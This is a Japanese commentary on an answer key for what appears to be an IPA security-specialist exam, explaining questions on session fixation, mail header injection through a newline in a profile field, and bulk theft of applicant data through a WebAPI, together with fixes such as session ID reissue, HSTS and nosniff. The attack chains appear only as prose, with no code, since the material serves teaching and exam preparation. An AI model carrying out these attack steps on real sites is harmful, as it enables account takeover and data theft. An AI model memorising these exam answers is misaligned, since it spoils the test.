
ファイル K の処理は，パスが /shopping（配送先・支払方法選択画面）のときだけ働く（図2の 1 行目）。したがって偽フォームが表示されるのは，ファイル K が有効だった期間（6 月 11 日 13 時 12 分〜6 月 16 日 9 時 00 分）に，この画面を開いた利用者だけである。漏れなく特定するために，アプリケーションログから，その期間に配送先・支払方法選択画面にアクセスしたアカウント名を抽出すれば，被害者候補が得られる。

アプリケーションログには画面名とアカウント名が記録されるので，この二つで絞れる。ショッピングカートなど手前の画面だけを開いた利用者や，期間外の利用者は含めずに済み，“送信していない利用者はできるだけ含めたくない”という条件にも合う。

間違えやすい点。IP アドレスで抽出すると，同じ利用者が別の端末や回線から使った場合に漏れる。期間，画面名（配送先・支払方法選択画面），アカウント名の三点をそろえる。

本文の根拠

図4 2.2.1(1)

M サイトでは form 内の hidden フィールドである sessionID の値だけでセッション管理を実施していた。しかし，表 B のいずれの画面遷移においても，HTTP レスポンス中の sessionID の値が同一であった。

図3 01 ログイン

ログインから(ア)で01の入力欄に戻り，(イ)で02へ遷移する。

表 B

Web ブラウザに直接 URL を入力して，画面 01 を表示したとき

セッションフィクセーションは，ログインの前後で sessionID が変わらないことを悪用する攻撃である。表 B のとおり，画面 01 を開いたとき，(ア)，(イ)，(エ)のいずれの画面遷移でも sessionID は同じ値で，ログインしても変わらない。

このうち認証が成功して権限が変わるのは，ログインボタンから画面 02 へ進む(イ)である。(ア)はログインボタンから画面 01 の入力欄に戻る遷移（図3）で認証前の状態が続き，(エ)は画面 02 から 03 への遷移でログイン後の状態が続くだけで，どちらも権限が変わる場所ではない。ログインの成功時に新しい sessionID を発行すれば，攻撃者が事前に入手した sessionID は無効になるので，a は(イ)になる。

間違えやすい点。表 B に列挙された(ア)(イ)(エ)の中から選ぶ問題だが，同じ値という事実だけでは決まらない。“ログイン成功の瞬間”がどれかを図3から読み取る。

本文の根拠

表1

01，02：https://test.△△△.jp/。

表 B

Web ブラウザに直接 URL を入力して，画面 01 を表示したとき

図 A 手順 2

手順 2：URL“b”にアクセスして，sessionID を入手する。

図 A 手順 7

手順 7：罠サイトへのアクセスを検知後，c が完了することを期待して数分間待ち，手順 2 で入手した sessionID を指定した状態で，URL“b”にアクセスする。

手順 2 で攻撃者は，Web ブラウザに URL を直接入力して画面 01（ログイン画面）を表示し，sessionID を入手する。表 B の 1 行目のとおり，画面 01 の HTML の hidden フィールドに sessionID が入っている。表1によれば，画面 01 と画面 02 の URL は同じ https://test.△△△.jp/ である。

手順 3 で作る罠の HTML も，入手した sessionID を入れたフォームを，ログインの処理を受け付ける URL に POST するので，URL は同じである。手順 7 でも，被害者のログインが済んだあとの画面 02 にアクセスするため，やはり https://test.△△△.jp/ になる。b の三か所はすべて同じ URL で，答えは https://test.△△△.jp/ である。

講評でも，この設問は正答率が高かった。間違えやすい点は，画面 02 の mypage など，ほかの画面の URL を選ぶこと。画面 01 と 02 が同じ URL で，ログイン前後で URL が変わらないことが，攻撃手順を単純にしている。

採点講評（IPA）

設問1(2)は，正答率が高かった。セッションフィクセーション脆弱性について，よく理解できていた。

本文の根拠

図 A 手順 3

当該 HTML が Web ブラウザに読み込まれた直後に，上記のフォームを URL“b”に POST メソッドで送信するスクリプト

図 A 手順 7

手順 7：罠サイトへのアクセスを検知後，c が完了することを期待して数分間待ち，手順 2 で入手した sessionID を指定した状態で，URL“b”にアクセスする。

図4 2.2.1(1)

攻撃者が，セッションフィクセーション脆弱性を悪用して不正ログインに成功し，画面 02 で応募者確認ボタンをクリックして

手順 3 の罠サイトでは，攻撃者が入手した sessionID を，被害者の Web ブラウザから M サイトに送らせる。M サイトは sessionID の値だけでセッション管理するので，被害者はその sessionID のセッションで M サイトを使うことになる。被害者がそのセッションで認証を済ませる（ログインする）と，同じ sessionID をもつ攻撃者も，認証済みのセッションを手に入れる。

手順 7 で攻撃者が待っているのは，被害者のログインである。メール受信者（求人企業の担当者）によるログインが完了してから，手順 2 で入手した sessionID で画面 02 にアクセスすれば，不正にログインした状態になる。c は“メール受信者によるログイン”である。

書き方の注意。“メール受信者による”と主体を書く。“ログインが完了する”だけだと攻撃者自身のログインとも読める。待つ対象は被害者の操作である。

本文の根拠

図4 2.2.1(2)

(2) 脆弱性の修正方法：a の画面遷移の際に実行されるコードにおいて，d することを推奨する。

図4 2.2.1(1)

表 B のいずれの画面遷移においても，HTTP レスポンス中の sessionID の値が同一であった。

a の画面遷移(イ)はログイン成功の遷移であり，その際に実行されるコードで，認証前に使っていた sessionID を破棄し，新しい sessionID を発行して以降のセッション管理に使えばよい。そうすると，攻撃者が事前に入手した（または被害者に押し付けた）sessionID は，ログイン後は無効になるため，被害者のログイン後に攻撃者がその sessionID でアクセスしても，認証済みのセッションは使えない。

したがって d は，“使用済みの sessionID を無効にした上で，新しい sessionID を発行（する）”である。

書き方の注意。“新しい sessionID を発行する”だけでは，古い sessionID が有効なまま残る場合があり，攻撃者の sessionID が使い続けられるので不十分である。古いものを無効にすることと，新しく発行することの両方を書く。

本文の根拠

表 D

Content-Security-Policy：Web ブラウザが実行可能なスクリプトの有効なソースとなるドメインを，M サイトで必要なものだけに限定することができる。

表 D

Strict-Transport-Security：e。X-Content-Type-Options：f。

図4 2.2.3(1)

これらの HTTP ヘッダーを設定することで他の脆弱性による被害を軽減することができる。

e の Strict-Transport-Security（HSTS，RFC 6797）は，Web ブラウザに対して，以降の一定期間はこのサイトに HTTPS だけで接続させる指示である。HTTP で接続しようとしても，ブラウザが自動的に HTTPS に切り替えるので，通信経路上の攻撃者による盗聴や改ざん（HTTP 経由でのダウングレードなど）を防げる。“M サイトへの接続を HTTPS に強制することができる”が答えである。

f の X-Content-Type-Options は，nosniff を指定することで，Web ブラウザが Content-Type ヘッダーと違う種類のコンテンツだと推測して解釈する（MIME スニッフィング）のを禁止する。例えば画像として配信したものがスクリプトとして実行されることを防げる。“M サイトのコンテンツに対して，Content-Type ヘッダーで指定した MIME タイプを強制的に適用することができる”が答えである。

書き方の注意。ヘッダー名を言い換えて“セキュリティを強化する”のように抽象的に書くのは避け，何を強制・禁止するのかを書く。講評も，f の正答率が低かったとし，HTTP ヘッダーの効果を理解するよう求めている。

採点講評（IPA）

設問1(5)fは，正答率が低かった。攻撃による被害を軽減するHTTPヘッダーについて，設定した場合の効果をよく理解してほしい。

本文の根拠

図4 4.1

図 D の順序で攻撃をした場合，不審なメールが求人企業に届かないので，攻撃に気付かれることなく，WebAPI を悪用して，より多くの求職者属性情報を窃取することができる。

図4 2.2.2(1)

図 B の手順で操作を行ったところ，メール(あ)が [email protected] だけに送信され，本来の宛先である変更前のメールアドレスには送信されなかった。

図3 注 1)

注 1) 画面 09 でメールアドレスを変更した場合の画面遷移である。画面遷移の際，M サイトから，変更前のメールアドレスに，確認用 URL が記載されたメール(あ)を送信する。

図3 05 と 07

07 PW 再確認(2)：PW 入力欄と“APIkey 発行”ボタン。

図2

(2) 一つの利用者 ID に対して複数の APIkey を発行できる。

g は，図 D の(3)“メールアドレスを攻撃者のものに変更する”操作の前に置く。画面 09 でメールアドレスを変えると，変更前のアドレスに確認用 URL のメール(あ)が送られ，その URL にアクセスしないと変更が反映されない。図 B の手順（会社名に改行を含む文字列を入れて To: を差し込む）で，メール(あ)が攻撃者のアドレスにだけ届き，本来の宛先（求人企業）には届かないようにしておけば，攻撃者が確認用 URL にアクセスして変更を完了でき，求人企業に気付かれない。したがって g は，画面 09 で，会社名に図 C の [email protected] を攻撃者のメールアドレスに変更した文字列を入力し，変更ボタンをクリックする，である。

(4)(5)で攻撃者が PW を再設定してログインしたあとの(6)が h である。WebAPI を使うには APIkey が要り，APIkey の確認（画面 05）や発行（画面 07）には PW の再入力が必要である。PW を再設定した攻撃者は PW を知っているので，画面 04 からの操作で PW を入力して APIkey を確認または発行できる（一つの利用者 ID に複数の APIkey を発行できるので，発行も可能）。

間違えやすい点。g は，(3)のメールアドレス変更より前に，メール(あ)を攻撃者に届ける準備をする操作で，(3)の言い換えではない。講評も，攻撃の後の流れに合っていない解答が散見されたとしている。

採点講評（IPA）

設問2gは，正答率が低かった。攻撃の後の流れに合っていない解答が散見された。Webサイトの全体の機能を考慮し，脆弱性を組み合わせて悪用する攻撃を考える能力を培ってほしい。

本文の根拠

図2 2.(3)

(3) 任意の求職者 ID を指定して，求職者属性情報を取得する。

図2 注 1)

注 1) 求職者が M サイトに利用者登録をした年月日の 8 桁の数字の後ろに，日ごとに 000001 から登録順に割り当てられる 6 桁の数字を加えた数字 14 桁の文字列である。

図2 4.(1)

(1) 求人企業のうち，WebAPI の利用契約を締結済みの企業だけに APIkey を発行する。利用契約で認めている求職者属性情報の利用範囲は，当該企業への問合せ又は当該企業への応募それぞれに関する対応だけである。

図3 注 2)

注 2) 画面 09 でメールアドレス以外だけを変更した場合の画面遷移である。

図4 4.1 図 D

(7) WebAPI の機能を利用して，多数の求職者属性情報を窃取する。

表 F（WebAPI）では，図2の仕様の弱い点を考える。WebAPI は(3)で“任意の求職者 ID”を指定して属性情報を取得でき，求職者 ID は，登録した年月日 8 桁と日ごとの連番 6 桁という推測しやすい形である（注 1）。APIkey を手に入れた者は，契約で認められた“当該企業への問合せ・応募”の範囲を超えて，ID を順に試すだけで他の求職者の情報を取れる。解答例①は，求職者 ID を推測困難にして，被害を当該企業に問合せ・応募した求職者に限る案である。ほかに，②WebAPI の接続元 IP アドレスを限定して第三者の不正なアクセスを防ぐ，③WebAPI で取れる属性情報を個人を特定できないものに限る，なども解答例にある。

表 G（Web アプリの求人企業向け機能）では，図3の画面遷移や図4の脆弱性の周辺を考える。④ログインの認証を多要素認証にすればアカウントの乗っ取りを防げる，⑤利用者ごとにアクセス元 IP アドレスを限定すれば不正なアクセスを防げる，⑥画面 09 でメールアドレス以外だけを変更した場合（注 2）は確認メールが送られないので，その場合もメールを送れば，不正なプロパティ変更に気付ける。

書き方の注意。i と k に“仕様の改善の方針案”，j と l に“その改善によって何が防げるか”を対にして書く。備考のとおり解答例に限らず，WebAPI（i・j）と Web アプリの求人企業向け機能（k・l）の被害を軽減する案ならよい。被害を防ぐ効果が最も高いものを選ぶ条件があるので，攻撃の流れ（図 D）のどこを断つかを意識する。講評は，被害を軽減できない誤答が散見されたと指摘している。

採点講評（IPA）

設問3は，正答率がやや低かった。被害を軽減できない誤答が散見された。Webサイトでは，取り扱う情報の機密性などに応じた，認証やアクセス制限が必要である。それぞれのWebサイトの特性を考慮したセキュリティ対策を策定する能力を培ってほしい。